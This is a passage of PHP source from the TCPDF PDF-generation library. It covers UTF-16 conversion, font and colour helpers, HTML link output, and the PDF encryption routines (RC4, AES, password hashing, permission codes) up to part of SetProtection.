0x10FFFF, * U' must be less than or equal to 0xFFFFF. That is, U' can be * represented in 20 bits. * * 3) Initialize two 16-bit unsigned integers, W1 and W2, to 0xD800 and * 0xDC00, respectively. These integers each have 10 bits free to * encode the character value, for a total of 20 bits. * * 4) Assign the 10 high-order bits of the 20-bit U' to the 10 low-order * bits of W1 and the 10 low-order bits of U' to the 10 low-order * bits of W2. Terminate. * * Graphically, steps 2 through 4 look like: * U' = yyyyyyyyyyxxxxxxxxxx * W1 = 110110yyyyyyyyyy * W2 = 110111xxxxxxxxxx * </pre> * @param $unicode (array) array containing UTF-8 unicode values * @param $setbom (boolean) if true set the Byte Order Mark (BOM = 0xFEFF) * @return string * @protected * @author Nicola Asuni * @since 2.1.000 (2008-01-08) * @see UTF8ToUTF16BE() */ protected function arrUTF8ToUTF16BE($unicode, $setbom=false) { $outstr = ''; // string to be returned if ($setbom) { $outstr .= "\xFE\xFF"; // Byte Order Mark (BOM) } foreach ($unicode as $char) { if ($char == 0x200b) { // skip Unicode Character 'ZERO WIDTH SPACE' (DEC:8203, U+200B) } elseif ($char == 0xFFFD) { $outstr .= "\xFF\xFD"; // replacement character } elseif ($char < 0x10000) { $outstr .= chr($char >> 0x08); $outstr .= chr($char & 0xFF); } else { $char -= 0x10000; $w1 = 0xD800 | ($char >> 0x0a); $w2 = 0xDC00 | ($char & 0x3FF); $outstr .= chr($w1 >> 0x08); $outstr .= chr($w1 & 0xFF); $outstr .= chr($w2 >> 0x08); $outstr .= chr($w2 & 0xFF); } } return $outstr; } // ==================================================== /** * Set header font. * @param $font (array) font * @public * @since 1.1 */ public function setHeaderFont($font) { $this->header_font = $font; } /** * Get header font. * @return array() * @public * @since 4.0.012 (2008-07-24) */ public function getHeaderFont() { return $this->header_font; } /** * Set footer font. * @param $font (array) font * @public * @since 1.1 */ public function setFooterFont($font) { $this->footer_font = $font; } /** * Get Footer font. * @return array() * @public * @since 4.0.012 (2008-07-24) */ public function getFooterFont() { return $this->footer_font; } /** * Set language array. * @param $language (array) * @public * @since 1.1 */ public function setLanguageArray($language) { $this->l = $language; if (isset($this->l['a_meta_dir'])) { $this->rtl = $this->l['a_meta_dir']=='rtl' ? true : false; } else { $this->rtl = false; } } /** * Returns the PDF data. * @public */ public function getPDFData() { if ($this->state < 3) { $this->Close(); } return $this->buffer; } /** * Output anchor link. * @param $url (string) link URL or internal link (i.e.: <a href="#23,4.5">link to page 23 at 4.5 Y position</a>) * @param $name (string) link name * @param $fill (boolean) Indicates if the cell background must be painted (true) or transparent (false). * @param $firstline (boolean) if true prints only the first line and return the remaining string. * @param $color (array) array of RGB text color * @param $style (string) font style (U, D, B, I) * @param $firstblock (boolean) if true the string is the starting of a line. * @return the number of cells used or the remaining text if $firstline = true; * @public */ public function addHtmlLink($url, $name, $fill=false, $firstline=false, $color='', $style=-1, $firstblock=false) { if (!$this->empty_string($url) AND ($url[0] == '#') AND is_numeric($url[1])) { // convert url to internal link $lnkdata = explode(',', $url); if (isset($lnkdata[0])) { $page = intval(substr($lnkdata[0], 1)); if (empty($page) OR ($page <= 0)) { $page = $this->page; } if (isset($lnkdata[1]) AND (strlen($lnkdata[1]) > 0)) { $lnky = floatval($lnkdata[1]); } else { $lnky = 0; } $url = $this->AddLink(); $this->SetLink($url, $lnky, $page); } } // store current settings $prevcolor = $this->fgcolor; $prevstyle = $this->FontStyle; if (empty($color)) { $this->SetTextColorArray($this->htmlLinkColorArray); } else { $this->SetTextColorArray($color); } if ($style == -1) { $this->SetFont('', $this->FontStyle.$this->htmlLinkFontStyle); } else { $this->SetFont('', $this->FontStyle.$style); } $ret = $this->Write($this->lasth, $name, $url, $fill, '', false, 0, $firstline, $firstblock, 0); // restore settings $this->SetFont('', $prevstyle); $this->SetTextColorArray($prevcolor); return $ret; } /** * Returns an array (RGB or CMYK) from an html color name, or a six-digit (i.e. #3FE5AA), or three-digit (i.e. #7FF) hexadecimal color, or a javascript color array, or javascript color name. * @param $hcolor (string) HTML color. * @param $defcol (array) Color to return in case of error. * @return array RGB or CMYK color, or false in case of error. * @public */ public function convertHTMLColorToDec($hcolor='#FFFFFF', $defcol=array('R'=>128,'G'=>128,'B'=>128)) { $color = preg_replace('/[\s]*/', '', $hcolor); // remove extra spaces $color = strtolower($color); // check for javascript color array syntax if (strpos($color, '[') !== false) { if (preg_match('/[\[][\"\'](t|g|rgb|cmyk)[\"\'][\,]?([0-9\.]*)[\,]?([0-9\.]*)[\,]?([0-9\.]*)[\,]?([0-9\.]*)[\]]/', $color, $m) > 0) { $returncolor = array(); switch ($m[1]) { case 'cmyk': { // RGB $returncolor['C'] = max(0, min(100, (floatval($m[2]) * 100))); $returncolor['M'] = max(0, min(100, (floatval($m[3]) * 100))); $returncolor['Y'] = max(0, min(100, (floatval($m[4]) * 100))); $returncolor['K'] = max(0, min(100, (floatval($m[5]) * 100))); break; } case 'rgb': { // RGB $returncolor['R'] = max(0, min(255, (floatval($m[2]) * 255))); $returncolor['G'] = max(0, min(255, (floatval($m[3]) * 255))); $returncolor['B'] = max(0, min(255, (floatval($m[4]) * 255))); break; } case 'g': { // grayscale $returncolor['G'] = max(0, min(255, (floatval($m[2]) * 255))); break; } case 't': default: { // transparent (empty array) break; } } return $returncolor; } } elseif (($dotpos = strpos($color, '.')) !== false) { // remove class parent (i.e.: color.red) $color = substr($color, ($dotpos + 1)); if ($color == 'transparent') { // transparent (empty array) return array(); } } if (strlen($color) == 0) { return $defcol; } // RGB ARRAY if (substr($color, 0, 3) == 'rgb') { $codes = substr($color, 4); $codes = str_replace(')', '', $codes); $returncolor = explode(',', $codes); foreach ($returncolor as $key => $val) { if (strpos($val, '%') > 0) { // percentage $returncolor[$key] = (255 * intval($val) / 100); } else { $returncolor[$key] = intval($val); } // normalize value $returncolor[$key] = max(0, min(255, $returncolor[$key])); } return $returncolor; } // CMYK ARRAY if (substr($color, 0, 4) == 'cmyk') { $codes = substr($color, 5); $codes = str_replace(')', '', $codes); $returncolor = explode(',', $codes); foreach ($returncolor as $key => $val) { if (strpos($val, '%') !== false) { // percentage $returncolor[$key] = (100 * intval($val) / 100); } else { $returncolor[$key] = intval($val); } // normalize value $returncolor[$key] = max(0, min(100, $returncolor[$key])); } return $returncolor; } if ($color{0} != '#') { // COLOR NAME if (isset($this->webcolor[$color])) { // web color $color_code = $this->webcolor[$color]; } else { // spot color $returncolor = $this->getSpotColor($color); if ($returncolor === false) { $returncolor = $defcol; } return $returncolor; } } else { $color_code = substr($color, 1); } // HEXADECIMAL REPRESENTATION switch (strlen($color_code)) { case 3: { // 3-digit RGB hexadecimal representation $r = substr($color_code, 0, 1); $g = substr($color_code, 1, 1); $b = substr($color_code, 2, 1); $returncolor = array(); $returncolor['R'] = max(0, min(255, hexdec($r.$r))); $returncolor['G'] = max(0, min(255, hexdec($g.$g))); $returncolor['B'] = max(0, min(255, hexdec($b.$b))); break; } case 6: { // 6-digit RGB hexadecimal representation $returncolor = array(); $returncolor['R'] = max(0, min(255, hexdec(substr($color_code, 0, 2)))); $returncolor['G'] = max(0, min(255, hexdec(substr($color_code, 2, 2)))); $returncolor['B'] = max(0, min(255, hexdec(substr($color_code, 4, 2)))); break; } case 8: { // 8-digit CMYK hexadecimal representation $returncolor = array(); $returncolor['C'] = max(0, min(100, round(hexdec(substr($color_code, 0, 2)) / 2.55))); $returncolor['M'] = max(0, min(100, round(hexdec(substr($color_code, 2, 2)) / 2.55))); $returncolor['Y'] = max(0, min(100, round(hexdec(substr($color_code, 4, 2)) / 2.55))); $returncolor['K'] = max(0, min(100, round(hexdec(substr($color_code, 6, 2)) / 2.55))); break; } default: { $returncolor = $defcol; break; } } return $returncolor; } /** * Converts pixels to User's Units. * @param $px (int) pixels * @return float value in user's unit * @public * @see setImageScale(), getImageScale() */ public function pixelsToUnits($px) { return ($px / ($this->imgscale * $this->k)); } /** * Reverse function for htmlentities. * Convert entities in UTF-8. * @param $text_to_convert (string) Text to convert. * @return string converted text string * @public */ public function unhtmlentities($text_to_convert) { return @html_entity_decode($text_to_convert, ENT_QUOTES, $this->encoding); } // ENCRYPTION METHODS ---------------------------------- /** * Returns a string containing random data to be used as a seed for encryption methods. * @param $seed (string) starting seed value * @return string containing random data * @author Nicola Asuni * @since 5.9.006 (2010-10-19) * @protected */ protected function getRandomSeed($seed='') { $seed .= microtime(); if (function_exists('openssl_random_pseudo_bytes') AND (strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN')) { // this is not used on windows systems because it is very slow for a know bug $seed .= openssl_random_pseudo_bytes(512); } else { for ($i = 0; $i < 23; ++$i) { $seed .= uniqid('', true); } } $seed .= uniqid('', true); $seed .= rand(); $seed .= getmypid(); $seed .= __FILE__; $seed .= $this->bufferlen; if (isset($_SERVER['REMOTE_ADDR'])) { $seed .= $_SERVER['REMOTE_ADDR']; } if (isset($_SERVER['HTTP_USER_AGENT'])) { $seed .= $_SERVER['HTTP_USER_AGENT']; } if (isset($_SERVER['HTTP_ACCEPT'])) { $seed .= $_SERVER['HTTP_ACCEPT']; } if (isset($_SERVER['HTTP_ACCEPT_ENCODING'])) { $seed .= $_SERVER['HTTP_ACCEPT_ENCODING']; } if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) { $seed .= $_SERVER['HTTP_ACCEPT_LANGUAGE']; } if (isset($_SERVER['HTTP_ACCEPT_CHARSET'])) { $seed .= $_SERVER['HTTP_ACCEPT_CHARSET']; } $seed .= rand(); $seed .= uniqid('', true); $seed .= microtime(); return $seed; } /** * Compute encryption key depending on object number where the encrypted data is stored. * This is used for all strings and streams without crypt filter specifier. * @param $n (int) object number * @return int object key * @protected * @author Nicola Asuni * @since 2.0.000 (2008-01-02) */ protected function _objectkey($n) { $objkey = $this->encryptdata['key'].pack('VXxx', $n); if ($this->encryptdata['mode'] == 2) { // AES-128 // AES padding $objkey .= "\x73\x41\x6C\x54"; // sAlT } $objkey = substr($this->_md5_16($objkey), 0, (($this->encryptdata['Length'] / 8) + 5)); $objkey = substr($objkey, 0, 16); return $objkey; } /** * Encrypt the input string. * @param $n (int) object number * @param $s (string) data string to encrypt * @return encrypted string * @protected * @author Nicola Asuni * @since 5.0.005 (2010-05-11) */ protected function _encrypt_data($n, $s) { if (!$this->encrypted) { return $s; } switch ($this->encryptdata['mode']) { case 0: // RC4-40 case 1: { // RC4-128 $s = $this->_RC4($this->_objectkey($n), $s); break; } case 2: { // AES-128 $s = $this->_AES($this->_objectkey($n), $s); break; } case 3: { // AES-256 $s = $this->_AES($this->encryptdata['key'], $s); break; } } return $s; } /** * Put encryption on PDF document. * @protected * @author Nicola Asuni * @since 2.0.000 (2008-01-02) */ protected function _putencryption() { if (!$this->encrypted) { return; } $this->encryptdata['objid'] = $this->_newobj(); $out = '<<'; if (!isset($this->encryptdata['Filter']) OR empty($this->encryptdata['Filter'])) { $this->encryptdata['Filter'] = 'Standard'; } $out .= ' /Filter /'.$this->encryptdata['Filter']; if (isset($this->encryptdata['SubFilter']) AND !empty($this->encryptdata['SubFilter'])) { $out .= ' /SubFilter /'.$this->encryptdata['SubFilter']; } if (!isset($this->encryptdata['V']) OR empty($this->encryptdata['V'])) { $this->encryptdata['V'] = 1; } // V is a code specifying the algorithm to be used in encrypting and decrypting the document $out .= ' /V '.$this->encryptdata['V']; if (isset($this->encryptdata['Length']) AND !empty($this->encryptdata['Length'])) { // The length of the encryption key, in bits. The value shall be a multiple of 8, in the range 40 to 256 $out .= ' /Length '.$this->encryptdata['Length']; } else { $out .= ' /Length 40'; } if ($this->encryptdata['V'] >= 4) { if (!isset($this->encryptdata['StmF']) OR empty($this->encryptdata['StmF'])) { $this->encryptdata['StmF'] = 'Identity'; } if (!isset($this->encryptdata['StrF']) OR empty($this->encryptdata['StrF'])) { // The name of the crypt filter that shall be used when decrypting all strings in the document. $this->encryptdata['StrF'] = 'Identity'; } // A dictionary whose keys shall be crypt filter names and whose values shall be the corresponding crypt filter dictionaries. if (isset($this->encryptdata['CF']) AND !empty($this->encryptdata['CF'])) { $out .= ' /CF <<'; $out .= ' /'.$this->encryptdata['StmF'].' <<'; $out .= ' /Type /CryptFilter'; if (isset($this->encryptdata['CF']['CFM']) AND !empty($this->encryptdata['CF']['CFM'])) { // The method used $out .= ' /CFM /'.$this->encryptdata['CF']['CFM']; if ($this->encryptdata['pubkey']) { $out .= ' /Recipients ['; foreach ($this->encryptdata['Recipients'] as $rec) { $out .= ' <'.$rec.'>'; } $out .= ' ]'; if (isset($this->encryptdata['CF']['EncryptMetadata']) AND (!$this->encryptdata['CF']['EncryptMetadata'])) { $out .= ' /EncryptMetadata false'; } else { $out .= ' /EncryptMetadata true'; } } } else { $out .= ' /CFM /None'; } if (isset($this->encryptdata['CF']['AuthEvent']) AND !empty($this->encryptdata['CF']['AuthEvent'])) { // The event to be used to trigger the authorization that is required to access encryption keys used by this filter. $out .= ' /AuthEvent /'.$this->encryptdata['CF']['AuthEvent']; } else { $out .= ' /AuthEvent /DocOpen'; } if (isset($this->encryptdata['CF']['Length']) AND !empty($this->encryptdata['CF']['Length'])) { // The bit length of the encryption key. $out .= ' /Length '.$this->encryptdata['CF']['Length']; } $out .= ' >> >>'; } // The name of the crypt filter that shall be used by default when decrypting streams. $out .= ' /StmF /'.$this->encryptdata['StmF']; // The name of the crypt filter that shall be used when decrypting all strings in the document. $out .= ' /StrF /'.$this->encryptdata['StrF']; if (isset($this->encryptdata['EFF']) AND !empty($this->encryptdata['EFF'])) { // The name of the crypt filter that shall be used when encrypting embedded file streams that do not have their own crypt filter specifier. $out .= ' /EFF /'.$this->encryptdata['']; } } // Additional encryption dictionary entries for the standard security handler if ($this->encryptdata['pubkey']) { if (($this->encryptdata['V'] < 4) AND isset($this->encryptdata['Recipients']) AND !empty($this->encryptdata['Recipients'])) { $out .= ' /Recipients ['; foreach ($this->encryptdata['Recipients'] as $rec) { $out .= ' <'.$rec.'>'; } $out .= ' ]'; } } else { $out .= ' /R'; if ($this->encryptdata['V'] == 5) { // AES-256 $out .= ' 5'; $out .= ' /OE ('.$this->_escape($this->encryptdata['OE']).')'; $out .= ' /UE ('.$this->_escape($this->encryptdata['UE']).')'; $out .= ' /Perms ('.$this->_escape($this->encryptdata['perms']).')'; } elseif ($this->encryptdata['V'] == 4) { // AES-128 $out .= ' 4'; } elseif ($this->encryptdata['V'] < 2) { // RC-40 $out .= ' 2'; } else { // RC-128 $out .= ' 3'; } $out .= ' /O ('.$this->_escape($this->encryptdata['O']).')'; $out .= ' /U ('.$this->_escape($this->encryptdata['U']).')'; $out .= ' /P '.$this->encryptdata['P']; if (isset($this->encryptdata['EncryptMetadata']) AND (!$this->encryptdata['EncryptMetadata'])) { $out .= ' /EncryptMetadata false'; } else { $out .= ' /EncryptMetadata true'; } } $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); } /** * Returns the input text encrypted using RC4 algorithm and the specified key. * RC4 is the standard encryption algorithm used in PDF format * @param $key (string) encryption key * @param $text (String) input text to be encrypted * @return String encrypted text * @protected * @since 2.0.000 (2008-01-02) * @author Klemen Vodopivec, Nicola Asuni */ protected function _RC4($key, $text) { if (function_exists('mcrypt_decrypt') AND ($out = @mcrypt_decrypt(MCRYPT_ARCFOUR, $key, $text, MCRYPT_MODE_STREAM, ''))) { // try to use mcrypt function if exist return $out; } if ($this->last_enc_key != $key) { $k = str_repeat($key, ((256 / strlen($key)) + 1)); $rc4 = range(0, 255); $j = 0; for ($i = 0; $i < 256; ++$i) { $t = $rc4[$i]; $j = ($j + $t + ord($k[$i])) % 256; $rc4[$i] = $rc4[$j]; $rc4[$j] = $t; } $this->last_enc_key = $key; $this->last_enc_key_c = $rc4; } else { $rc4 = $this->last_enc_key_c; } $len = strlen($text); $a = 0; $b = 0; $out = ''; for ($i = 0; $i < $len; ++$i) { $a = ($a + 1) % 256; $t = $rc4[$a]; $b = ($b + $t) % 256; $rc4[$a] = $rc4[$b]; $rc4[$b] = $t; $k = $rc4[($rc4[$a] + $rc4[$b]) % 256]; $out .= chr(ord($text[$i]) ^ $k); } return $out; } /** * Returns the input text exrypted using AES algorithm and the specified key. * This method requires mcrypt. * @param $key (string) encryption key * @param $text (String) input text to be encrypted * @return String encrypted text * @protected * @author Nicola Asuni * @since 5.0.005 (2010-05-11) */ protected function _AES($key, $text) { // padding (RFC 2898, PKCS #5: Password-Based Cryptography Specification Version 2.0) $padding = 16 - (strlen($text) % 16); $text .= str_repeat(chr($padding), $padding); $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC), MCRYPT_RAND); $text = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $text, MCRYPT_MODE_CBC, $iv); $text = $iv.$text; return $text; } /** * Encrypts a string using MD5 and returns it's value as a binary string. * @param $str (string) input string * @return String MD5 encrypted binary string * @protected * @since 2.0.000 (2008-01-02) * @author Klemen Vodopivec */ protected function _md5_16($str) { return pack('H*', md5($str)); } /** * Compute U value (used for encryption) * @return string U value * @protected * @since 2.0.000 (2008-01-02) * @author Nicola Asuni */ protected function _Uvalue() { if ($this->encryptdata['mode'] == 0) { // RC4-40 return $this->_RC4($this->encryptdata['key'], $this->enc_padding); } elseif ($this->encryptdata['mode'] < 3) { // RC4-128, AES-128 $tmp = $this->_md5_16($this->enc_padding.$this->encryptdata['fileid']); $enc = $this->_RC4($this->encryptdata['key'], $tmp); $len = strlen($tmp); for ($i = 1; $i <= 19; ++$i) { $ek = ''; for ($j = 0; $j < $len; ++$j) { $ek .= chr(ord($this->encryptdata['key'][$j]) ^ $i); } $enc = $this->_RC4($ek, $enc); } $enc .= str_repeat("\x00", 16); return substr($enc, 0, 32); } elseif ($this->encryptdata['mode'] == 3) { // AES-256 $seed = $this->_md5_16($this->getRandomSeed()); // User Validation Salt $this->encryptdata['UVS'] = substr($seed, 0, 8); // User Key Salt $this->encryptdata['UKS'] = substr($seed, 8, 16); return hash('sha256', $this->encryptdata['user_password'].$this->encryptdata['UVS'], true).$this->encryptdata['UVS'].$this->encryptdata['UKS']; } } /** * Compute UE value (used for encryption) * @return string UE value * @protected * @since 5.9.006 (2010-10-19) * @author Nicola Asuni */ protected function _UEvalue() { $hashkey = hash('sha256', $this->encryptdata['user_password'].$this->encryptdata['UKS'], true); $iv = str_repeat("\x00", mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)); return mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $hashkey, $this->encryptdata['key'], MCRYPT_MODE_CBC, $iv); } /** * Compute O value (used for encryption) * @return string O value * @protected * @since 2.0.000 (2008-01-02) * @author Nicola Asuni */ protected function _Ovalue() { if ($this->encryptdata['mode'] < 3) { // RC4-40, RC4-128, AES-128 $tmp = $this->_md5_16($this->encryptdata['owner_password']); if ($this->encryptdata['mode'] > 0) { for ($i = 0; $i < 50; ++$i) { $tmp = $this->_md5_16($tmp); } } $owner_key = substr($tmp, 0, ($this->encryptdata['Length'] / 8)); $enc = $this->_RC4($owner_key, $this->encryptdata['user_password']); if ($this->encryptdata['mode'] > 0) { $len = strlen($owner_key); for ($i = 1; $i <= 19; ++$i) { $ek = ''; for ($j = 0; $j < $len; ++$j) { $ek .= chr(ord($owner_key[$j]) ^ $i); } $enc = $this->_RC4($ek, $enc); } } return $enc; } elseif ($this->encryptdata['mode'] == 3) { // AES-256 $seed = $this->_md5_16($this->getRandomSeed()); // Owner Validation Salt $this->encryptdata['OVS'] = substr($seed, 0, 8); // Owner Key Salt $this->encryptdata['OKS'] = substr($seed, 8, 16); return hash('sha256', $this->encryptdata['owner_password'].$this->encryptdata['OVS'].$this->encryptdata['U'], true).$this->encryptdata['OVS'].$this->encryptdata['OKS']; } } /** * Compute OE value (used for encryption) * @return string OE value * @protected * @since 5.9.006 (2010-10-19) * @author Nicola Asuni */ protected function _OEvalue() { $hashkey = hash('sha256', $this->encryptdata['owner_password'].$this->encryptdata['OKS'].$this->encryptdata['U'], true); $iv = str_repeat("\x00", mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)); return mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $hashkey, $this->encryptdata['key'], MCRYPT_MODE_CBC, $iv); } /** * Convert password for AES-256 encryption mode * @param $password (string) password * @return string password * @protected * @since 5.9.006 (2010-10-19) * @author Nicola Asuni */ protected function _fixAES256Password($password) { $psw = ''; // password to be returned $psw_array = $this->utf8Bidi($this->UTF8StringToArray($password), $password, $this->rtl); foreach ($psw_array as $c) { $psw .= $this->unichr($c); } return substr($psw, 0, 127); } /** * Compute encryption key * @protected * @since 2.0.000 (2008-01-02) * @author Nicola Asuni */ protected function _generateencryptionkey() { $keybytelen = ($this->encryptdata['Length'] / 8); if (!$this->encryptdata['pubkey']) { // standard mode if ($this->encryptdata['mode'] == 3) { // AES-256 // generate 256 bit random key $this->encryptdata['key'] = substr(hash('sha256', $this->getRandomSeed(), true), 0, $keybytelen); // truncate passwords $this->encryptdata['user_password'] = $this->_fixAES256Password($this->encryptdata['user_password']); $this->encryptdata['owner_password'] = $this->_fixAES256Password($this->encryptdata['owner_password']); // Compute U value $this->encryptdata['U'] = $this->_Uvalue(); // Compute UE value $this->encryptdata['UE'] = $this->_UEvalue(); // Compute O value $this->encryptdata['O'] = $this->_Ovalue(); // Compute OE value $this->encryptdata['OE'] = $this->_OEvalue(); // Compute P value $this->encryptdata['P'] = $this->encryptdata['protection']; // Computing the encryption dictionary's Perms (permissions) value $perms = $this->getEncPermissionsString($this->encryptdata['protection']); // bytes 0-3 $perms .= chr(255).chr(255).chr(255).chr(255); // bytes 4-7 if (isset($this->encryptdata['CF']['EncryptMetadata']) AND (!$this->encryptdata['CF']['EncryptMetadata'])) { // byte 8 $perms .= 'F'; } else { $perms .= 'T'; } $perms .= 'adb'; // bytes 9-11 $perms .= 'nick'; // bytes 12-15 $iv = str_repeat("\x00", mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_ECB)); $this->encryptdata['perms'] = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $this->encryptdata['key'], $perms, MCRYPT_MODE_ECB, $iv); } else { // RC4-40, RC4-128, AES-128 // Pad passwords $this->encryptdata['user_password'] = substr($this->encryptdata['user_password'].$this->enc_padding, 0, 32); $this->encryptdata['owner_password'] = substr($this->encryptdata['owner_password'].$this->enc_padding, 0, 32); // Compute O value $this->encryptdata['O'] = $this->_Ovalue(); // get default permissions (reverse byte order) $permissions = $this->getEncPermissionsString($this->encryptdata['protection']); // Compute encryption key $tmp = $this->_md5_16($this->encryptdata['user_password'].$this->encryptdata['O'].$permissions.$this->encryptdata['fileid']); if ($this->encryptdata['mode'] > 0) { for ($i = 0; $i < 50; ++$i) { $tmp = $this->_md5_16(substr($tmp, 0, $keybytelen)); } } $this->encryptdata['key'] = substr($tmp, 0, $keybytelen); // Compute U value $this->encryptdata['U'] = $this->_Uvalue(); // Compute P value $this->encryptdata['P'] = $this->encryptdata['protection']; } } else { // Public-Key mode // random 20-byte seed $seed = sha1($this->getRandomSeed(), true); $recipient_bytes = ''; foreach ($this->encryptdata['pubkeys'] as $pubkey) { // for each public certificate if (isset($pubkey['p'])) { $pkprotection = $this->getUserPermissionCode($pubkey['p'], $this->encryptdata['mode']); } else { $pkprotection = $this->encryptdata['protection']; } // get default permissions (reverse byte order) $pkpermissions = $this->getEncPermissionsString($pkprotection); // envelope data $envelope = $seed.$pkpermissions; // write the envelope data to a temporary file $tempkeyfile = tempnam(K_PATH_CACHE, 'tmpkey_'); $f = fopen($tempkeyfile, 'wb'); if (!$f) { $this->Error('Unable to create temporary key file: '.$tempkeyfile); } $envelope_length = strlen($envelope); fwrite($f, $envelope, $envelope_length); fclose($f); $tempencfile = tempnam(K_PATH_CACHE, 'tmpenc_'); if (!openssl_pkcs7_encrypt($tempkeyfile, $tempencfile, $pubkey['c'], array(), PKCS7_BINARY | PKCS7_DETACHED)) { $this->Error('Unable to encrypt the file: '.$tempkeyfile); } unlink($tempkeyfile); // read encryption signature $signature = file_get_contents($tempencfile, false, null, $envelope_length); unlink($tempencfile); // extract signature $signature = substr($signature, strpos($signature, 'Content-Disposition')); $tmparr = explode("\n\n", $signature); $signature = trim($tmparr[1]); unset($tmparr); // decode signature $signature = base64_decode($signature); // convert signature to hex $hexsignature = current(unpack('H*', $signature)); // store signature on recipients array $this->encryptdata['Recipients'][] = $hexsignature; // The bytes of each item in the Recipients array of PKCS#7 objects in the order in which they appear in the array $recipient_bytes .= $signature; } // calculate encryption key if ($this->encryptdata['mode'] == 3) { // AES-256 $this->encryptdata['key'] = substr(hash('sha256', $seed.$recipient_bytes, true), 0, $keybytelen); } else { // RC4-40, RC4-128, AES-128 $this->encryptdata['key'] = substr(sha1($seed.$recipient_bytes, true), 0, $keybytelen); } } } /** * Return the premission code used on encryption (P value). * @param $permissions (Array) the set of permissions (specify the ones you want to block). * @param $mode (int) encryption strength: 0 = RC4 40 bit; 1 = RC4 128 bit; 2 = AES 128 bit; 3 = AES 256 bit. * @protected * @since 5.0.005 (2010-05-12) * @author Nicola Asuni */ protected function getUserPermissionCode($permissions, $mode=0) { $options = array( 'owner' => 2, // bit 2 -- inverted logic: cleared by default 'print' => 4, // bit 3 'modify' => 8, // bit 4 'copy' => 16, // bit 5 'annot-forms' => 32, // bit 6 'fill-forms' => 256, // bit 9 'extract' => 512, // bit 10 'assemble' => 1024,// bit 11 'print-high' => 2048 // bit 12 ); $protection = 2147422012; // 32 bit: (01111111 11111111 00001111 00111100) foreach ($permissions as $permission) { if (!isset($options[$permission])) { $this->Error('Incorrect permission: '.$permission); } if (($mode > 0) OR ($options[$permission] <= 32)) { // set only valid permissions if ($options[$permission] == 2) { // the logic for bit 2 is inverted (cleared by default) $protection += $options[$permission]; } else { $protection -= $options[$permission]; } } } return $protection; } /** * Set document protection * Remark: the protection against modification is for people who have the full Acrobat product. * If you don't set any password, the document will open as usual. If you set a user password, the PDF viewer will ask for it before displaying the document. The master password, if different from the user one, can be used to get full access. * Note: protecting a document requires to encrypt it, which increases the processing time a lot. This can cause a PHP time-out in some cases, especially if the document contains images or fonts. * @param $permissions (Array) the set of permissions (specify the ones you want to block):<ul><li>print : Print the document;</li><li>modify : Modify the contents of the document by operations other than those controlled by 'fill-forms', 'extract' and 'assemble';</li><li>copy : Copy or otherwise extract text and graphics from the document;</li><li>annot-forms : Add or modify text annotations, fill in interactive form fields, and, if 'modify' is also set, create or modify interactive form fields (including signature fields);</li><li>fill-forms : Fill in existing interactive form fields (including signature fields), even if 'annot-forms' is not specified;</li><li>extract : Extract text and graphics (in support of accessibility to users with disabilities or for other purposes);</li><li>assemble : Assemble the document (insert, rotate, or delete pages and create bookmarks or thumbnail images), even if 'modify' is not set;</li><li>print-high : Print the document to a representation from which a faithful digital copy of the PDF content could be generated. When this is not set, printing is limited to a low-level representation of the appearance, possibly of degraded quality.</li><li>owner : (inverted logic - only for public-key) when set permits change of encryption and enables all other permissions.</li></ul> * @param $user_pass (String) user password. Empty by default. * @param $owner_pass (String) owner password. If not specified, a random value is used. * @param $mode (int) encryption strength: 0 = RC4 40 bit; 1 = RC4 128 bit; 2 = AES 128 bit; 3 = AES 256 bit. * @param $pubkeys (String) array of recipients containing public-key certificates ('c') and permissions ('p'). For example: array(array('c' => 'file://../tcpdf.crt', 'p' => array('print'))) * @public * @since 2.0.000 (2008-01-02) * @author Nicola Asuni */ public function SetProtection($permissions=array('print', 'modify', 'copy', 'annot-forms', 'fill-forms', 'extract', 'assemble', 'print-high'), $user_pass='', $owner_pass=null, $mode=0, $pubkeys=null) { if ($this->pdfa_mode) { // encryption is not allowed in PDF/A mode return; } $this->encryptdata['protection'] = $this->getUserPermissionCode($permissions, $mode); if (($pubkeys !== null) AND (is_array($pubkeys))) { // public-key mode $this->encryptdata['pubkeys'] = $pubkeys; if ($mode == 0) { // public-Key Security requires at least 128 bit $mode = 1; } if (!function_exists('openssl_pkcs7_encrypt')) { $this->Error('Public-Key Security requires openssl library.'); } // Set Public-Key filter (availabe are: Entrust.PPKEF, Adobe.PPKLite, Adobe.PubSec) $this->encryptdata['pubkey'] = true; $this->encryptdata['Filter'] = 'Adobe.PubSec'; $this->encryptdata['StmF'] = 'DefaultCryptFilter'; $this->encryptdata['StrF'] = 'DefaultCryptFilter'; } else { // standard mode (password mode) $this->encryptdata['pubkey'] = false; $this->encryptdata['Filter'] = 'Standard'; $this->encryptdata['StmF'] = 'StdCF'; $this->encryptdata['StrF'] = 'StdCF'; } if ($mode > 1) { // AES if (!extension_loaded('mcrypt')) { $this->Error('AES encryption requires mcrypt library (http://www.php.net/manual/en/mcrypt.requirements.php).'); } if (mcrypt_get_cipher_name(MCRYPT_RIJNDAEL_128) === false) { $this->Error('AES encryption requires MCRYPT_RIJNDAEL_128 cypher.'); } if (($mode == 3) AND !function_exists('hash')) { // the Hash extension requires no external libraries and is enabled by default as of PHP 5.1.2. $this->Error('AES 256 encryption requires HASH Message Digest Framework (http://www.php.net/manual/en/book.hash.php).'); } } if ($owner_pass === null) { $owner_pass = md5($this->getRandomSeed()); } $this->encryptdata['user_password'] = $user_pass; $this->encryptdata['owner_password'] = $owner_pass; $this->encryptdata['mode'] = $mode; switch ($mode) { case 0: { // RC4 40 bit $this->encryptdata['V'] = 1; $this->encryptdata['Length'] = 40; $this->encryptdata['CF']['CFM'] = 'V2'; break; } case 1: { // RC4 128 bit $this->encryptdata['V'] = 2; $this->encryptdata['Length'] = 128; $this->encryptdata['CF']['CFM'] = 'V2'; if ($this->encryptdata['pubkey']) { $this->encryptdata['SubFilter'] = 'adbe.pkcs7.s4'; $this->encryptdata['Recipients'] = array(); } break; } case 2: { // AES 128 bit 